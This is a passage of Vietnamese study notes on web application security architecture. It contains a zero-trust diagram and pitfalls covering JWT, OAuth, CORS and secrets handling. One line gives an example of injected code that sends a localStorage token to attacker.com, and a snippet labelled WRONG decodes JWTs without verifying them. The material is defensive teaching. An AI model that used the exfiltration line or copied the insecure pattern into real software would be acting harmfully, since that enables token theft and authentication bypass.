    subgraph "External"
        U[User / Device]
        A[Attacker]
    end

    subgraph "Identity Layer"
        IDP[Identity Provider<br/>Keycloak / Auth0]
        MFA[MFA Service<br/>TOTP / WebAuthn]
        CA[Certificate Authority<br/>cert-manager]
    end

    subgraph "Network Edge"
        WAF[WAF<br/>Rate Limiting, Bot Detection]
        GW[API Gateway<br/>JWT Validation, RBAC]
        LB[Load Balancer<br/>TLS Termination]
    end

    subgraph "Service Mesh (Zero Trust)"
        direction TB
        SP["Sidecar Proxy (Envoy)<br/>mTLS enforcement"]

        subgraph "Service A"
            SA[Auth Service]
        end
        subgraph "Service B"
            SB[User Service]
        end
        subgraph "Service C"
            SC[Order Service]
        end

        SA <-..->|mTLS| SP
        SB <-..->|mTLS| SP
        SC <-..->|mTLS| SP
    end

    subgraph "Data Layer"
        V[HashiCorp Vault<br/>Secrets, Keys, Certs]
        DB[(Database<br/>Per-service credentials<br/>Encryption at rest)]
        SIEM[SIEM<br/>Security Logging<br/>Anomaly Detection]
    end

    U -->|1. HTTPS| WAF
    A -->|Blocked| WAF
    WAF -->|2. Clean traffic| LB
    LB -->|3. TLS terminated| GW
    GW -->|4. Validate JWT| IDP
    IDP -->|5. Challenge| MFA
    GW -->|6. Authorized request| SP

    SP -->|7. mTLS| SA
    SP -->|7. mTLS| SB
    SP -->|7. mTLS| SC

    SA -->|8. Get secrets| V
    SB -->|8. Get secrets| V
    SC -->|8. Get secrets| V

    SA -->|9. Scoped access| DB
    SB -->|9. Scoped access| DB
    SC -->|9. Scoped access| DB

    SA -->|10. Security events| SIEM
    SB -->|10. Security events| SIEM
    SC -->|10. Security events| SIEM
    GW -->|10. Access logs| SIEM
    WAF -->|10. Threat logs| SIEM

    CA -->|Issue certs| SP
    V -->|Rotate certs| CA

    style WAF fill:#ff922b,stroke:#333,stroke-width:2px
    style GW fill:#ff922b,stroke:#333,stroke-width:2px
    style V fill:#845ef7,stroke:#333,stroke-width:2px
    style SIEM fill:#339af0,stroke:#333,stroke-width:2px
    style SP fill:#51cf66,stroke:#333,stroke-width:2px

8. Aha Moments & Pitfalls

localStorage: Bất kỳ JavaScript nào trên page đều đọc được → XSS = game over. Một thư viện npm bị compromise (supply chain attack), inject fetch(attacker.com, {body: localStorage.getItem('token')}) → toàn bộ user bị steal token.

httpOnly cookie: JavaScript KHÔNG thể đọc. Cookie tự động gửi theo request. Kết hợp Secure + SameSite=Lax → an toàn hơn nhiều.

StorageXSS RiskCSRF RiskRecommendation
localStorageCao — JS đọc đượcKhôngKHÔNG dùng cho token
sessionStorageCao — JS đọc đượcKhôngChỉ dùng cho non-sensitive data
httpOnly cookieThấp — JS không đọcTrung bình (mitigate bằng SameSite)Khuyến nghị
In-memory (JS variable)Trung bìnhKhôngOK nhưng mất khi refresh page

Aha Moment #2: Không validate JWT signature

Nhiều developer chỉ decode JWT (base64) mà không verify signature. Attacker có thể tạo JWT giả với bất kỳ claims nào.

// WRONG — Chỉ decode, không verify
const payload = JSON.parse(atob(token.split('.')[1]));
if (payload.role === 'admin') { /* grant access */ }
// → Attacker tạo JWT với role=admin, không cần private key!
 
// RIGHT — Verify signature trước
jwt.verify(token, publicKey, { algorithms: ['RS256'] }, (err, decoded) => {
  if (err) return res.status(401).send('Invalid token');
  // decoded.role đã được verify
});

Aha Moment #3: Over-permissive CORS

Access-Control-Allow-Origin: * = “Bất kỳ website nào trên internet đều có thể gọi API của tôi”. Kết hợp với authenticated endpoints → bất kỳ trang web nào attacker tạo đều có thể steal data.

Aha Moment #4: Storing secrets in code

Commit .env file, hardcode API key trong source code, bake secrets vào Docker image → bất kỳ ai có access repo hoặc image đều thấy secrets.

# Kiểm tra repo có secrets bị commit không:
gitleaks detect --source . --verbose
 
# Tìm trong git history:
gitleaks detect --source . --log-opts="--all"

Dùng Vault / AWS Secrets Manager / GCP Secret Manager. Secrets KHÔNG BAO GIỜ nằm trong code, config file, hoặc environment variable trên disk.

Aha Moment #5: “alg: none” attack

JWT spec cho phép "alg": "none" (no signature). Nếu server không validate algorithm → attacker gửi JWT không có signature, server chấp nhận.

// WRONG: Không specify algorithms
jwt.verify(token, secret);
// → Nếu attacker gửi alg=none, một số thư viện skip signature check!
 
// RIGHT: Luôn specify allowed algorithms
jwt.verify(token, publicKey, { algorithms: ['RS256'] });

Aha Moment #6: OAuth2 state parameter

Nếu không dùng state parameter trong OAuth2 flow → attacker có thể thực hiện CSRF on OAuth callback: trick user login vào account của attacker → attacker có thể xem mọi thứ user làm trên app.

Pitfall #1: Dùng JWT cho session management

JWT không phải session. JWT không thể revoke ngay lập tức (trừ khi build blacklist → mất stateless advantage). Nếu cần instant revocation (user logout, password change, account ban) → dùng session-based hoặc hybrid (JWT + Redis blacklist).

Pitfall #2: Quá nhiều data trong JWT

JWT nằm trong mọi request. Nếu JWT chứa 50 roles, 100 permissions → token size explode → bandwidth waste, header size limit (8KB default cho nhiều server).

Rule: JWT chỉ chứa identity + essential claims. Permission resolution nên ở application layer.

Pitfall #3: Không rate limit login endpoint

Login endpoint = bcrypt = CPU intensive. Attacker gửi 10,000 login requests/s → CPU 100% → application-level DoS (không cần DDoS).

Luôn rate limit login: per-IP + per-username + global.

Pitfall #4: Bearer token cho Financial APIs

SPA lưu access token trong localStorage. XSS → token leak → attacker rút tiền.

Fix: Dùng DPoP (RFC 9449) cho fintech/banking. Token bind với client key → stolen token không reusable. Tham chiếu section 2.16.

Pitfall #5: OAuth 2.0 vanilla cho Banking

“OAuth 2.0 implemented” → audit fail vì thiếu PAR, JARM, mandatory PKCE.

Fix: Dùng FAPI 2.0 profile cho financial APIs. PAR mandatory, DPoP/mTLS mandatory, không có “client_secret” auth. Tham chiếu section 2.17.

Pitfall #6: “Zero Trust” = “Replace VPN with IAP”

Vendor sales-pitch: “Buy our cloud proxy → you have Zero Trust!“. Reality: chỉ swap VPN bằng cloud proxy = same trust model.

Fix: Real Zero Trust theo NIST 800-207 cần continuous verification với dynamic policy (identity + device posture + risk score), không phải “auth once trust forever”. Tham chiếu section 2.18.

Pitfall #7: Không revoke token khi user logout

User logout → server clear session, nhưng JWT vẫn valid đến exp. Attacker với stolen token vẫn dùng được trong 15 phút.

Fix: Token blacklist trong Redis (TTL = remaining token lifetime). Hoặc dùng Continuous Access Evaluation (CAE) — Microsoft Entra style — để propagate revocation real-time tới resource servers.


Liên kết nội bộ

TuầnLiên quanLý do
Tuan-01-Scale-From-Zero-To-MillionsScaling auth serviceAuth là bottleneck khi scale
Tuan-03-Networking-DNS-CDNTLS, HTTPS, network securityTransport layer security
Tuan-06-Cache-StrategyRedis cho session store, JWT blacklistCaching auth data
Tuan-09-Rate-LimiterLogin rate limitingChống brute force, credential stuffing
Tuan-11-Microservices-PatternService-to-service auth, mTLSZero Trust in microservices
Tuan-12-CICD-PipelineSecurity scanning in CI/CDShift-left security
Tuan-13-Monitoring-ObservabilitySecurity monitoring, SIEMDetect breaches
Tuan-15-Data-Security-EncryptionEncryption at rest, key managementData protection

Tham khảo


Tuần tới: Tuan-15-Data-Security-Encryption — Encryption at rest, in transit, key management, data classification